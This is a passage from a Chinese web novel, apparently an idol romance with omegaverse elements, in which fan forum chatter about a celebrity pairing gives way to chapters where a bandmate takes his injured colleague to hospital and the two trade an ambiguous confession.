其实直到事情爆出来前粉丝都没人知道这事,1自己也不说,后来该前辈被爆出大瓜网友顺藤摸瓜才扒出他平时在剧组也作威作福,还有工作人员站出来证明他很爹味经常在拍戏时打压1之类的。 事发时1已经成团出道火了,就有媒体采访他看没看最近关于对方的新闻,老一就:有听说他现在过得很差。再问1网上说的是不是真的,老一:(意味深长一笑)都过去了。】 【是的!!!看那个视频记忆最深就是哥最后那个笑。当时的前辈粉都处在一个不死心还想翻身的状态,而且很多事情其实也都是口头说法没有实际证据,前辈粉咬定工作人员在造谣还网暴人家,隔天哥直接锤死[笑哭]媒体再追问他也什么都不说了,看起来不想多聊其实轻轻两句话就给出答案而且还显得很体面(。)】 【觉得老哥是1就是因为他那种淡淡的偶尔有点小坏的游刃有余(虽然哥从头到脚从长相到身材本来就很1),看似什么都不在乎都可以谅解但又在一个瞬间展露出在意让你知道他其实并没有那么大度,所以不要再说什么哥本性如此了好吗,事实证明他就是对比超宽容超特殊】 【不好意思说我正在手机屏幕前对着同担姐的分析露出□□】 【人之常情】 …… 【上了一天班刚回来看回放,他俩pocky game那里一堆人叫我可以理解,毕竟确实刺激,老哥喝柠檬汁底下到底在尖叫什么啊那么大声,方舟姐有那么多人吗?】 【?你对我们全团排名第三的诺亚方昼有什么误解?这可是具有先天优势的组合双top双门面双肾炎……(以下种种省略一万字title)cp,还是在他们不卖的情况下,这俩人但凡卖卖第一哪还有其他家的事!】 【就是,我们甚至在正主不卖的情况下都□□了这么多年[不屑]】 【现场氛围好吧,我今天在现场的时候旁边坐着一个平时嗑12极度讨厌13的1f妹子都跟着一起尖叫了,过后很忏悔地跟我说其实13挺好嗑的,超搞笑……很多人都不是cp洁癖,只要毫克就会凑热闹跟着嗑一口,这也很正常啊,两张那么帅的脸放一起谁看了不会心动()】 【要听我认真回答吗,事实是很多小方糖小行星表面上是唯粉天天骂对家其实背地里都会悄悄嗑cp,这个世界上能有几个追星粉一点药都不嗑,你以为一些1粉或3粉嗑他们和队友的cp是真的觉得13和别人更配吗,谁拉瓜/花不喜欢又火又帅的啊,只不过这两家太恨彼此到了只能违心的程度了】 【讲到这谁还记得之前老三家那个叫lemon的大粉小号被扒出嗑13结果最后被小方糖按头1粉打跑了[笑哭]】 【我也记起来了,好无语,柠檬姐给3花了那么多钱居然也能被说真爱是1,wf的脑回路令人无法理解】 【柠檬姐蚝油品味,13就是这样一款唯粉都忍不住嗑的产品[比心]】 【也是一对从唯粉到对家cp粉都人人喊打的产品】 【听懂的都山城小面了】 【毕竟这两张脸放在一起就是有随时美帝的潜质[握拳]对家们颤抖吧!!!】 【把潜质去掉,我看不用等多久,照今晚方舟姐这个狂欢的速度马上我们超话就要登顶了】 【之前说13卖得很程式化的人怎么不见了,如果连今天的当然了和后面的亲嘴这些人都能说是演的那我们真的尿不到一个壶里】 【应该正在床上抱着枕头偷偷哭吧[勾手指][奸笑]】 【前面说要跑路的方舟批呢,回来!回来!!!发糖了!这回真的不是预制菜!是满汉全席!!!】 * 整整两个半小时,“险象环生”的见面会总算落下帷幕。 回去的路上六个人分成两辆车坐,汤昼恒、丞绪以及经纪人化妆师都在另一辆车。 即便如此,车上依然热闹非凡。 “你俩这亲嘴照起码得轮个五万转吧?我看看……哎哟,这个营销号这边已经转了快三万了,可以啊,才一个小时的功夫,啧啧啧。” 江白树拿着手机津津有味地刷着微博,浑然忘了自己就是导致这一切的罪魁祸首,边看还边摇头。 杭泽宇在旁边不甘示弱:“我也刷到一个……粉丝也太神速了,这么快就出预览了?二十分钟五千转。啧啧啧。” 他学江白树的语气。 突然间看到什么,陆翰音开口惊叹:“天啊,你和队长的广场上到处都是你们的接吻图!不过粉丝已经开始洗广场了。” 说完,他又补充。 ……真是够了。 方柏嘉全程把他们的对话听在耳朵里,翻白眼的频率堪比电报,脸上忍不住再度攀上红晕。 最后实在受不了了,抓起身边的车内抱枕往座椅前方扔:“说够了没?这么爱视奸粉圈,以后迟早翻个大的。” 坐在他前方的陆翰音刚好被砸中,他“哎”了一下,像是呆了一秒,随后猛然拔高音节惨叫:“诶我靠,我怎么点赞了!——” 对方的声音听起来像惊恐的、犯了错的熊孩子。 方柏嘉懒得理他,从随身的包里掏出耳机戴上,两耳不闻窗外事地将帽檐一压,闭眼假寐去了。 好在路程不算很长,受到的折磨也就这一会儿。 一回了宿舍,方柏嘉便拒绝和任何人说话地一头扎进了房间,就连拿到外卖也是在卧室里用的餐。 原本他没事的时候都会刷一刷自己各个平台上的小号,但方柏嘉今天不敢。 怕一打开首页,大数据就自动给他推荐他和汤昼恒的接吻图。 太他妈诡异了。 想到江白树他们在车里说的话,方柏嘉现在身上还会鸡皮疙瘩直冒。 偶尔发着呆又琢磨,他当时和汤昼恒撞那一下那么实,贴得又那么紧,拍出来照片能好看吗? 该不会很衰吧? 身为偶像追求出片完美的职业毛病与习惯不期冒出了头,方柏嘉纠结起来,想看看照片拍得怎么样,手指悬在APP图标上面半天,还是下不去手。 吃完晚饭不到一个小时,方柏嘉端着杯子出来接水。 客厅里空空荡荡,只开了最昏暗的一档灯。 方柏嘉以为那两人都在房里,往出迈了几步,却猛然听到自己的目的地——厨房那边传出水声。 他走过去,在洗菜池边发现了背对着他的汤昼恒。 对方像在这里待了有一会儿,面前的水龙头开到最大,粗壮有力的水流从管道中奔涌而出。 汤昼恒挽起一边的袖子,将半截小臂置于自来水下冲洗。 听到门口的脚步声,他回过头。 两人视线相接,方柏嘉愣了一下,心中一瞬涌上一些诡异情绪。 原因无他,他和汤昼恒前几天才闹过矛盾,虽然没到吵架那个份上,却也搞得二人好几天没怎么互相搭理。 今天在舞台上又发生了那么些事,方柏嘉又羞又恼,五味杂陈,一时间不知道该怎么面对汤昼恒,连和他共处一方狭小空间也觉得拥挤。 本来应该一言不发地赶紧倒完水走人,下一秒看见汤昼恒的动作,又立马忘了自己先前那些心理活动,疑惑道:“你手怎么了?” “受伤了?严不严重?给我看看——” 他走上前,只见对方手腕处已经明显高高鼓起,附近一块的皮肤全透着红,肿得连尺骨茎突的形状都看不到了。 方柏嘉吓了一跳,瞬间就联想到汤昼恒下午时护自己的那一下。 嗓音不自主地绷紧,转头看着对方:“怎么成这样了?是因为我吗?” 现在想想,汤昼恒摔完之后确实不大对劲,明显不像前边那样,全身心投入到游戏当中,而是时不时地划水犯懒,在台子周边晃荡,看似起哄地笑着点评其他争抢地盘的成员。 出了这么个插曲,方柏嘉也变得兴致寥寥起来,学着他在场上晃荡,看见谁需要帮助就扶一把,其实眼睛隔三差五就往汤昼恒那里瞟。 只是对方全程表现得太过寻常,方柏嘉看不出异样,还以为是自己多想,没想到—— 汤昼恒没有正面回答,神情平静地轻描淡写:“摔那么高,扭伤也正常。” “那你当时就应该立刻处理。”方柏嘉一着急,连自己心里那点暗暗的别扭也忘了,蹙着眉语速飞快,“怎么之前不说?” “……刚开始没这么严重。” 难得见他这么严肃又着急,汤昼恒忍不住怔了怔,下意识顺着他的话道:“也不是很疼,就是感觉手别到了一点,我以为没有大事。结果刚刚突然就肿起来了。” 语气甚至带上一丝歉意。 也是奇怪,明明他才是受伤的那个,却又是他来哄人。 方柏嘉沉默地听他解释,半晌,伸手探了探水龙头里流出的水:“不凉。” 六月份的首都已经炎热起来,被太阳烘过一天的水到了晚上也只能说是常温,这种扭到手后肿起来的情况明显需要更为冰凉的东西来冷敷抑制局部血液循环。 他从口袋里掏出手机解锁:“我给你买几个冰袋。” 还没来得及打开外卖软件,汤昼恒就拦住了他:“我已经买了。” “买了?” 说话间,门铃应声响起。 汤昼恒递了个“说什么来什么”的眼神,走去开门。 果然是外卖的人来了。 汤昼恒拎着袋子,来到距离门口最近的餐桌边上,想把东西拆开。 姿势不便,肿起来的手连攥住袋子边角的动作都显得困难。 他试图捏紧外卖袋,结果牵动到受伤的手腕,嘴里“嘶”了一声。 “很疼吗?”见状,方柏嘉立刻将袋子接过,三两下打开被订书机订过的袋口,从桌上抽了两张纸,包住冰袋后再递给他。 脸上的表情看起来依然没有很和睦,但语气里全是关心。 汤昼恒将红肿的部位按住:“感觉有点。主要是一动这里就痛。” “……” 方柏嘉算是摸清了,汤昼恒的真实情况绝对比嘴上说的更糟。 说是有点,肯定就是很疼。说是一动就痛,其实根本是痛到动不了。 “你还是别嘴硬了,我陪你去医院吧。”他重重地呼出口气,说。 …… 方柏嘉去了趟卧室,换上外出的衣服,跟还在房里的陆翰音说了声,叫了辆车把自己和汤昼恒送去医院。 到了那边挂号排队,好不容易排到汤昼恒,方柏嘉想也不想地说:“我跟你一块儿去。” 忽略了汤昼恒有点异样的眼神。 直到进了诊室,坐在桌边的医生一抬眼,见到是两个人进来,诧异道:“你们谁来看病?” “我。”汤昼恒说着,用完好的那只手将挂号单交给对方。 “那他是……”医生看着跟在汤昼恒身后走进来的方柏嘉。 方柏嘉刚才决定得干脆,到了现在又有点尴尬起来,不知道该怎么回答。 朋友?同事? ……话说汤昼恒是伤到手又不是崴了脚,自主行动的能力还是有的,他跟进来好像是有点冒昧。 多他一个人又不会让结果变好一些。 可要是在外边什么也不做,方柏嘉也不放心。 正错愕着,汤昼恒回头,缓慢瞥他一眼,对医生说:“他是送我过来的人,让他一起听吧。” 医生便没再说什么,问了他几个问题,开始上手按他患处。 因为不确定具体伤到的是哪里,安排汤昼恒去拍了片子。 结果出来要一个小时,他们去大厅的椅子上坐着等。 深夜的急诊部依旧人满为患,远处不断有患者和患者家属拿着单子走来走去。 方柏嘉发了会儿呆,觉得无聊,下意识拿出手机,肌肉记忆似的点开某个他常逛的APP,眼神还放着空。 首页自动刷新,方柏嘉过了几秒才回过神,目光落回到屏幕上的刹那,他差点魂飞魄散。 映入眼帘的赫然是他和汤昼恒在见面会上的亲密照。 ……草,忘了这几天都不能上网了。 视觉冲击力太大,方柏嘉深吸一口凉气,没敢细看,手忙脚乱地熄了屏。 与此同时,听见汤昼恒突然在他耳旁说:“谢谢你这么晚还陪我来医院。” 方柏嘉的大脑过了两秒才启动反应程序。 他扭过头,发现对方在很认真地看着自己。 “……” 草,他该不会看到刚刚的照片了吧。 方柏嘉的心中飘过这样一句。 和汤昼恒的视线接触一瞬,方柏嘉逃难似的移开目光。 今天见面会后,他的心情一直很复杂。 原因是汤昼恒在问答环节做出的反应。 方柏嘉并不觉得杭泽宇的话是出于恶意,但印象也不会凭空出现。 对方既然会提出那种问题,就说明这是人们普遍对他和汤昼恒的关系存在的印象。 方柏嘉在刹那间感受到一种火辣辣的沮丧和失落。 因此,当汤昼恒主动认输去喝柠檬汁时,说方柏嘉没有一点触动,肯定是不可能的。 说实话,他当时都已经做好了对方会说“当然了”的准备。 毕竟他们前几天才“吵”得很凶。 虽然全程没有使用什么激烈的语言词汇,也没人说出称得上是“骂”的内容,但那无形弥漫在房间里的紧张氛围已经说明了一切。 即便两人是从很久以前便被公认的关系不佳,他们也从来没闹得这么不愉快过。 方柏嘉没对对方的回答抱有希望,即便他知道汤昼恒温柔又有涵养,从来不会做伤害别人的事,不管是语言还是行动上。 但那又怎样,也许就像杭泽宇说的一样,其实汤昼恒之前都是在装作对他有耐心,对方所做的一切都是为了维持组合表面最基本的和平。 然而对方这回终于还是受够了他,决定不再忍耐—— 这都是有可能的事。 方柏嘉扪心自问,如果他才和一个人闹完矛盾,正生着气,此时有一个或许无伤大雅的、可以出气的机会,他是否会选择放弃? ……很难说。 但汤昼恒就这么做了。 跟他这么一比,方柏嘉顿时感觉自己就像一个小孩子,情绪不稳定不说,还恩将仇报。 心中一时间百感交集。 有点感动,有点挫败,有点不服,还有那么一点儿难以言说的不爽。 一种被汤昼恒比下去了的不爽。 方柏嘉不由得反省自己,所以他在这儿自顾自生什么气呢? 汤昼恒难道对他不好吗? 一直以来装作无视和不喜欢对方的人本来也是他自己。 即便是这样,汤昼恒依然待他友善,就算是做表面功夫,又有几个人能做到—— 他又为什么要因为对方没有对他的情感做出回应就不高兴? 方柏嘉昨夜和“骆察”聊着聊着,也有点悟了。 说白了,这种事情不就是你情我愿的吗。 汤昼恒既没有对他说过我喜欢你我爱你之类的甜言蜜语,也从来没做出恋爱方面的承诺,既然连承诺都没有,又何来欺骗一说? 是方柏嘉自己想岔了而已。 …… 以上种种情绪经过方柏嘉快一天的压制,变得一块扁扁的干海绵,又在此刻直面汤昼恒后吸饱了水,再次溢满他的心间。 他下意识回避对方的眼神,怀疑汤昼恒是在内涵他。 顿了顿,扯扯嘴角道:“这会儿没有别人,你不用说套话。就是我让你变成这样的,我能不来吗。” 要不是他为了保护他撑的那一下,对方的手也不会受伤。 就算之前有冲突和不快,那也是与这无关的事,方柏嘉再因为闹小脾气对他不管不顾,那自己成什么了。 “我没有说套话。”汤昼恒沉静地说,“而且,我也不是因为你才受的伤。” 他停下来想了想:“摔倒时下意识用手撑地,这是大多数人都会有的下意识反应。我当时离你那么近,一旦倒在一起,很容易脸对脸磕到鼻梁,我那么做的本意是为了保护自己。” “……” 方柏嘉用一脸“你看我信吗”的表情静静地看了他几秒。 像是酝酿着什么,突然道:“你是不是很享受这种做好事不留名的感觉,觉得自己这么做很善解人意,不给别人增添负担和愧疚感?” “有事了也什么都不说,直到手肿得都不能动了再来当好人说几句安慰的话,结果连医院也不晓得去,这就是你所谓的‘保护自己’是吗?” 汤昼恒一愣。 大概是看出方柏嘉表情不太对,他谨慎地没有立刻回话,而是低头看了看自己还正按着冰袋的手。 过了一息,忽然极轻地笑了下道:“你到底对我有什么误解?” 方柏嘉应声看向他。 汤昼恒说:“我买了冰袋,但还没到,所以先用冷水冲一下——本来也打算拿了东西就去医院。我没有你想的那么不爱惜身体,也不是故意不说。只是有的时候,人经常会对自己的情况产生误判。” 他话语轻缓,却掷地有声。 说到这里,忽地语气一转。 “不过既然你讲到这儿了,那我也想问。如果我承认我是为了保护你才受的伤,你要怎么办。” 汤昼恒慢条斯理,神情中罕见地带有一丝玩味的戏谑:“你想怎么报答我呢?” 第38章 第 38 章 如果我说,其实我喜欢呢…… 医院急诊部到处开着门窗透风, 正是深夜,晚间的风驱散开白日的燥热,整个大厅内部空旷而又凉爽。 一阵冷气拂过, 将汤昼恒话语末端的音节也卷去半分。 但不妨碍方柏嘉听得分明。 这回换成是他一愣。 坐在原地呆了好几秒,竟然不知该如何回答, 也对对方提出的这个问题毫无准备。 “所以你看。” 一阵沉默之后,汤昼恒慢悠悠收回眼神, 将手背上的冰袋翻了个面:“如果我说了和不说, 得到的结果都是一样的, 那我说有什么区别, 不说又有什么区别?” “做不到对别人的‘好事’进行嘉奖, 那就不要问, 这样只会让我们都尴尬。” 年轻的alpha意味深长。 方柏嘉:“………………” 感觉被骂了怎么回事啊! 方柏嘉的耳朵一下就烧起来,觉得汤昼恒这个人有点可怕在的。 自己也不知道是怎么搞的,莫名其妙就被他给带偏了。 上一秒还站在道德高地, 对面前的人“哀其不幸行怒其不争”, 下一秒, 汤昼恒就把两人的地位调了个个儿,反而让他底气不足,变成了被审问的那一个。 不想认输, 方柏嘉挺着脖子迅速地转动大脑。 具体的方案还没想好, 人已经张了口:“谁说我不会做?我……可以照顾你,支付医药费,尽量弥补你因为我而产生的不便啊。这不是一听说就把你送医院来了么?” 不料汤昼恒听后只是扬了扬眉:“就这样?”???? “就这……”方柏嘉说,“你什么意思?” “一个人开车把另一个人撞了,事后他认全责也愿意承担对方在此期间的一切,你能说他就因此一点错都没有了吗?这只不过是他在给对方造成损失后应尽的赔偿与责任。如果真的有诚心的话, 要做些超出这个范围之外的事情才可以吧?” “………………” 方柏嘉的大脑已经宕机了。 这个人变脸怎么这么快。 刚才还是一副“我都是为你好”的样子,现在又在那表达不满地谴责他。 觉得汤昼恒后面有诈,又一时半会猜不到他要做什么,方柏嘉迟疑着道:“你后面有什么需要我做的,也都可以说,我会尽量满足。” “什么都能满足吗?” 方柏嘉说话速度更慢了:“……应该可以。” 汤昼恒总不至于让他破产。 汤昼恒:“如果我想让你每天都替我拿东西和背包,当我的跑腿小弟呢?” “可以。”方柏嘉想了一下,觉得没什么难的,不假思索地回应。 对方毕竟伤到了手,不方便提拿重物。 汤昼恒:“那如果,我想让你每天早上起来都喂我吃早饭……” “……” 方柏嘉这回稍微犹豫了两秒,低头瞧了眼他红肿的手腕,霎时愧疚感上升,一脸任劳任怨道:“也行。” 汤昼恒:“还有,我想让你帮我洗澡、吹头发——” “…………” 一只手好像是不太方便做这些。 而且作为“肇事者”,他的诚意必须得有。 想到汤昼恒刚才说的“范围之外的事”,方柏嘉硬着头皮一咬牙:“可、可以。” 只不过声音明显颤了。 给汤昼恒洗澡…… 画面太美,他不敢想。 本以为到这儿就差不多了,汤昼恒的要求已经涵盖了生活中的衣食住行,谅对方也想不出别的来。 没想到alpha的要求居然还在升级:“还没完呢。那如果我还想……” 等等,都已经到这个份上了,后面究竟还要他怎样,还能让他怎样? ——接下来的该不会是些限制级的内容吧? 方柏嘉眼皮陡然颤动,眼里透出被吓到般的紧张。 光是看神色也能猜出他此刻在想什么,太好认了。 汤昼恒饶有兴趣地端详着他那张脸,嘴角挂着不明显但足以看出恶趣味的笑。 方柏嘉看到他的面部活动,才隐约意识到自己被人捉弄了,满脸不可思议地看着他。 汤昼恒:“看,这就是第二条。在你不知道对方会提出什么过分的要求的时候,即便你有愧于他,也不要提前夸下海口,做出承诺。因为你不确定对方是个什么样的人,会不会得寸进尺。” 说到这儿,瞧着方柏嘉已然失去表情的、震惊的脸,他又莞尔一笑,趁方柏嘉不注意时伸出那只长久以来一直握着冰袋的手,冷不丁碰了碰他脖颈侧面靠近颈动脉的肌肤。 冰凉的触感带来不受控制的战栗,方柏嘉哆嗦了一下,不出所料地被他吓了一跳,瞪大了眼睛诧异地看着汤昼恒。 汤昼恒见状越发失笑,瞬间好似恢复本性,露出他原有那种令人感到如沐春风的温柔表情:“前面都是开玩笑的。” 他说:“我说了,你能来陪我,我很感谢,也很高兴。不是装的。” “……” 方柏嘉怔了怔。 收回目光,一双眼睛看着医院大厅的瓷砖地面。 泡软的海绵甚至又胀大起来。 想到杭泽宇的那句“早就看方柏嘉不爽”,他的倔脾气又在这会儿不合时宜地冒出点头,叛逆心上来道:“你不用说假话来安慰我。” 他看似不在乎地说:“我知道,你心里一定烦死我了。我脾气差事儿又多,还不听指挥,你根本不喜欢我,只不过是碍于面子才和我维持表面和平。私底下也没人看,你不需要这么装模作样的。” 他又在汤昼恒面前重复了遍。 方柏嘉这样讲,多少是有些赌气和说反话的成分在里头,说完才察觉出自己的语气有点冲。但话已出口,再想返回去修改也不可能。 他只好抿住嘴,装作很忙地盯着远处拎着单子走来走去的人群看。 汤昼恒听完他的话,也沉默了一下,用年长者特有的腔调平静地问:“你为什么会觉得我很烦你?” 他猜测:“因为今天杭泽宇说的话?” 汤昼恒也不迟钝,能感觉到今天方柏嘉对他的态度明显较前几天有所软化。 这其中固然是有部分他受伤了的原因所导致,而剩下那一部分,汤昼恒想来想去,很大可能是因为他今天在台上的举动。 方柏嘉的心思很好猜。 他有时看起来油盐不进,其实心很软,也很容易被触动。 可以因为一个小的矛盾就晾人好几天,却也会因为愧疚而忘记前面的个人恩怨,急哄哄地跑过来包办所有,嘴上不留情地照顾人。 不知道是不是被说中,方柏嘉没有回答。 汤昼恒也不意外,又顿了顿,冷不防一记惊雷般开口:“如果我说,其实我喜欢呢?” …… ………… ……………… 哈?什么东西? 方柏嘉一瞬间感觉自己头顶冒出了一茬茬蘑菇一样茂盛的问号。 大脑慢半拍才听懂汤昼恒那句话的意思,反应过来,猛一下如同惊弓之鸟般望向对方。 不是不喜欢,那岂不是就是—— 等等,他不会理解错误吧? 大概是觉得方柏嘉这幅模样很好玩,像那种懵懵的、呆头呆脑的小狗,汤昼恒的嘴角禁不住又勾了勾,忍着笑地低下头。 没一会儿笑意减淡,眼神垂落,两个人忽然都同时移开目光。 明明不远处就是喧闹的医院人群,这个以他们为圆心、周边一米远的距离为半径的空间内却异常安静,静得像能听见彼此血管里蓬勃的脉动。 心脏突然鼓噪起来,一下一下,跳得如同惊雷。 方柏嘉半边身子都发了麻,许久才找回自己的声音,滚动了一下喉结说:“你说的这个‘喜欢’,是哪个喜欢?” 话音刚落,他就有些后悔了。 好傻的一句话,一下就暴露出了方柏嘉的心思不纯。 一般人听到别人这么说自己,怎么会自恋地联想到是那种“喜欢”? ……可不管是汤昼恒说这话时的神情还是语气,听起来也都不像普通的喜欢。 方柏嘉很敏锐,总能捕捉到细枝末节,凭借直觉判断出一个人弦外之音。 面对汤昼恒时又很糊涂,以往向来灵敏的雷达像被屏蔽器所干扰,总怀疑自己想太多,总担心自己理解错。 方柏嘉的脸迅速涨红,连带着面前的空气分子都一起变得燥困。 头上好像被扣了一层罩子,气流困在里面循环不通,一呼一吸都是热气。 果不其然,汤昼恒反问他:“那你的‘喜欢’又是哪种喜欢?” “……” 方柏嘉又回答不出了。 像早猜到他会这样,汤昼恒并不惊讶。 他也不逼着方柏嘉一定要做出回应,坐在座位上,侧歪着头看向对方,一个字、一个字慢慢地,自顾自地把话接上。 “你的是哪种喜欢,我的就也是。” 汤昼恒屈起自己那只健康的手上的两根手指,在自己和方柏嘉之间的座椅扶手上“笃笃”地叩了叩,提醒他道: “如果连提问者都搞不清自己这句话的目的,被提问者又为什么要解释?” 又来了。 方柏嘉开始怀疑汤昼恒今天吃错了药。 对方一套组合拳太过凶猛,简直不像他认识的那个人。 一反以往温和无害的常态,变得招招锋利,一层接着一层递进,把方柏嘉逼得一退再退,偏偏又无法还手。 汤昼恒的语气甚至没怎么变,还是那么和煦轻缓,仿佛只是在和人闲聊。 “我——”方柏嘉张口想要反驳,却又突然停住。 等等,汤昼恒上一句说了什么。 他是哪种喜欢,对方就也是……?? 方柏嘉琢磨着汤昼恒的发言。 这句话翻译过来就是,如果方柏嘉把他当成朋友,那汤昼恒对他也是纯洁的队友情。 如果方柏嘉对他是……那种的喜欢,难道汤昼恒也可以? 怎么会有这种情况,一个人的感情又不是单向选择开关,能在两者之间来回转换,往左边一拨是模式A,往右边一拨,是截然不同的模式B。 汤昼恒不可能不知道,他们现在的对话是超出了正常交流边界的。 作为一个在娱乐圈里摸爬滚打过来、善于感知他人情绪的人,如果对方不想理会方柏嘉的那点试探,他完全可以不说后面这些令人浮想联翩的内容。 汤昼恒根本是有意为之,故意和他制造暧昧。 ……所以到底为什么突然就变成这样了? 这个人前些天不是还在将他“冷处理”,一副都是方柏嘉自作多情的渣男样吗? 难道是他感知有误? 方柏嘉短路在原地,一脸怔怔地望着这人,仿佛烧坏电线的机器。 汤昼恒却不再解释,冷不防拿起手机看了一眼,说:“片子出来了。” 无比突然的一句。 说完也不给方柏嘉更多反应和深思的机会,他站起身,率先一步朝着扫码取片的机器走了过去。 方柏嘉这才也赶忙跟上,和他一起重新挂号问诊。 去往诊室的路上,方柏嘉实在无聊,索性拿出片子,一边走一边不懂装懂地看。 看了半天瞧不出什么结果,忧心忡忡地小声嘟囔:“该不会动到骨头了吧?” “……”在他旁边的汤昼恒听到他这句蚊子哼似的话,不由有点无奈,“你倒是盼我点好。” 刚才那一番令人脸红心跳、捉摸不透的对话之后,两人间的氛围莫名放松下来一点。 方柏嘉没了前几天见到汤昼恒就要躲的古怪,闻言,直言不讳地冷飕飕道:“你先搞清楚,是谁不盼着你好。是我吗?还是明知道自己的手有问题也不懂得及时处理一下的某个人?自己不注意谁也帮不了你。” 他说着,又将看不懂的片子塞回袋子里。 自己还在继续向前走,身边的人却忽地不动了。 “所以……” 汤昼恒的声音从后方传来,方柏嘉才意识到那人已经停了脚步。 他回过头,诧异地瞧向对方。 就见汤昼恒一脸平静地看着他说:“你有对我感同身受一点了吗?” “什么?” 方柏嘉起先没有听懂,只觉得汤昼恒这一句来得没头没脑。 直到汤昼恒望着他,慢慢地补充:“你伪感期那次,我也是这么想的。” 第39章 第 39 章 我对别的alpha也不…… “……” 意识到他在说什么的方柏嘉愣住。 脑海间电光石火闪过, 方柏嘉觉得自己好像明白了什么,又好像没明白。 汤昼恒继续往下说:“如果你会因为我这件事而生气,那你就该明白我当时的感受。” “你会担心我, 我当然也会担心你。所以不要说我讨厌你这种话,首先你没有自己说的那么夸张, 其次,难道你真的觉得我对谁都一样好?” 方柏嘉哑然。 听见他说的话, 心脏跳动得飞快, 刚刚的嚣张气焰一下就没了。 因为方柏嘉意识到汤昼恒说的都是真的。 他受不了似的侧过头, 下意识转移话题, 为自己辩驳:“这两件事性质不一样。” “我这么着急, 是因为你是为了我才伤到手的。” “所以呢?” 他的诡辩对汤昼恒来说毫无作用。 “你是想说你现在发生的这一切和我无关?我们说好了要帮你的忙, 这一开始也是你要求的。结果就在你最应该需要我的时候,你偏偏又什么都不说,让我怎么想?” 说到这里, 汤昼恒的脸上终于显现出一丝不悦。 “。” 方柏嘉呆呆地、试探着地问:“……你怎么想?” 汤昼恒:“……” 汤昼恒深深地看他一眼, 然后开口。 “我会认为——” 剩下的话没说完。 诊室外面的大屏冷不丁开始机械性地叫号。 两人同时转过头一看, 轮到汤昼恒了。 汤昼恒收回目光,像是又改变心意,说:“走吧。” 对话刹那间被打断, 刚才那淡淡萦绕在周遭、说不清是什么的氛围也在无形之中因为这个突如其来的插曲而消散大半。 方柏嘉一脑门子问号, 好奇心刚被吊起来就遭到遏制。 心中的问题悬而未决,却也无法再追问下去,只得陪汤昼恒一起再度进了诊室。 医生看过片子,最后得出的结论是没有伤到骨头,应该只是扭伤。 之所以会肿得这么厉害,是因为汤昼恒在受伤后没有第一时间制动。 玩游戏时是见面会的中场, 距离现在已经过了五六个小时。 汤昼恒那会儿应该就感觉到了不对,但没有叫停,反而继续高强度活动手腕,加剧了伤处的炎症反应和组织液渗出。 接下来倒也没有太多可以做的,持续观察,继续进行冰敷直到消肿,在手腕恢复前都尽量别做动作,免得延长或是加重伤情。 一套流程下来,时间已经过了深夜十二点。 方柏嘉又叫了个网约车准备把自己和汤昼恒送回宿舍,从医院出来的路上还在念叨:“都跟你说了应该那个时候就中途下场处理,如果不是拖了这么久,你的手本来也不会这么肿。” 不过相较于刚来医院路上的忐忑,他总算还是放心不少。 现在看来,汤昼恒的情况并没有很严重,除了后边这几个小时的耽搁导致的多余炎症和肿胀,整体受伤的程度算轻的,回去好好修养就行。 ——谢天谢地,对方没有因为他而背上什么落下病根的风险。也还好是这样,否则方柏嘉真得愧疚死。 很少见到方柏嘉这副样子,汤昼恒觉得有点新奇,落在他身后半步的地方走着。 被人抓着一点审判了半天,脸上不由露出一丝苦笑。 方柏嘉走了几步又想起什么,停下脚步说:“你等等,我给danny哥打个电话。” 之前没有第一时间通知经纪人,是因为方柏嘉心里没底。 自己怎么说是对方伤情的“始作俑者”,结果不出来,他也没心思做别的。 现在得知汤昼恒的手腕不算糟糕,他终于松一口气,准备简单说明一下情况。 Danny在电话那头听说两人在外边,吓了一跳,说:“你们怎么又进医院了?” “只是手腕扭到了,应该不影响行程。等会我把单子拍给你,你看看公司怎么发声明。” 虽然医生说保持冰敷就好,但方柏嘉还是上网搜了搜这方面的帖子,看其他人扭伤了手后怎么处理的。 最后在网上购买了治疗的喷雾和用来固定伤处的弹力绷带,准备等外卖送到,睡前给汤昼恒喷上。 之前在医院里的对话就这么戛然而止,像推到一半的游戏进程,被静静搁置在那。 方柏嘉总觉得自己有哪里还漏了些什么,却又想不起来。 就这样稀里糊涂地过了一夜。 * 直到第二天。 方柏嘉早上醒来睁开眼,猛地垂死病中惊坐起,终于想起自己前一晚忘记的事情是什么了。 ——等等,汤昼恒真正和他冷战的原因该不会是那个吧?! 过于迟钝的脑回路时隔数个小时终于连上,方柏嘉忽然反应过来。 蹲在床脚的橘白被方柏嘉冷不丁一个鲤鱼打挺诈尸的动静惊到,本来正闭目养神,见状立刻扑通一声跳下床,小步快跑地钻出门外。 方柏嘉坐在床边懵了一会儿,这才慢吞吞又从床头拿起新的阻隔贴贴上。 说来也巧,汤昼恒在他腺体里留下的标记原本还挺浓,就在这几天突然淡了不少。 方柏嘉便把之前的强效贴剂换成了更透气的普通款,为了给猫留门,最近睡觉也不像前段时间那样,把门关得很牢。 他捋了几下头发,出了卧室去卫生间做清洁。 正刷着牙,忽听外边另一个卫生间传来开关门声,然后是两个人的短暂交流。 “早啊。恒哥,手怎么样了?” “嗯。好多了,你也早。” 另一个人听上去漫不经心的声音响起。 方柏嘉竖起耳朵。 吐掉嘴里最后一口清水,他将牙刷扔回杯中,蹑手蹑脚地走了出去。 客厅边上似乎有动静。 方柏嘉找准目标,慢吞吞往那边踱,果然看见汤昼恒正在阳台上给那几只猫添粮。 好几只猫围在半蹲着的年轻alpha身边蹭来蹭去地求爱抚,无奈汤昼恒一只手宠幸不过来,只能众生平等地都rua几下。 扭到的那只手藏在屈起来的大腿和腹部的间隙里,从背后这个角度,看不见具体的情况如何。 有小猫热情地用脑袋去顶他的手肘,汤昼恒“哎”了一下,立刻柔声道:“别闹。” 嗓音磁性好听。 方柏嘉冲他的方向“嘬嘬”两下。 汤昼恒听到声音,回过头。 发现方柏嘉正站在走廊的起始处,一只手扶住墙壁拐角,冲着自己探头探脑。 见汤昼恒注意到他,那人轻轻伸出一根手指,朝他招猫逗狗般地勾了勾。 “……” 汤昼恒站起身,朝他走去。 方柏嘉将人一路引到了他那边的卫生间。 陆翰音还在另一间厕所里洗漱,他担心人随时会出来,自己又有话想和汤昼恒讲,只能找个隐蔽点的场所。 等汤昼恒一进来,他立马小心翼翼地关上门,模样跟做贼似的。 第一句话就是:“该上药了。看看你的手——今天感觉好点了吗?” 说着,示意他把手拿出来给自己瞧瞧。 汤昼恒见他这样,禁不住挑了挑眉。 倒是很配合地将手伸出去了,嘴上却说:“只是看手……需要这样吗?” 搞得跟偷情一样。 还以为方柏嘉叫他来是要干什么。 方柏嘉不答,只是将汤昼恒手腕上加压固定的弹力绷带揭开,观察他的情况。 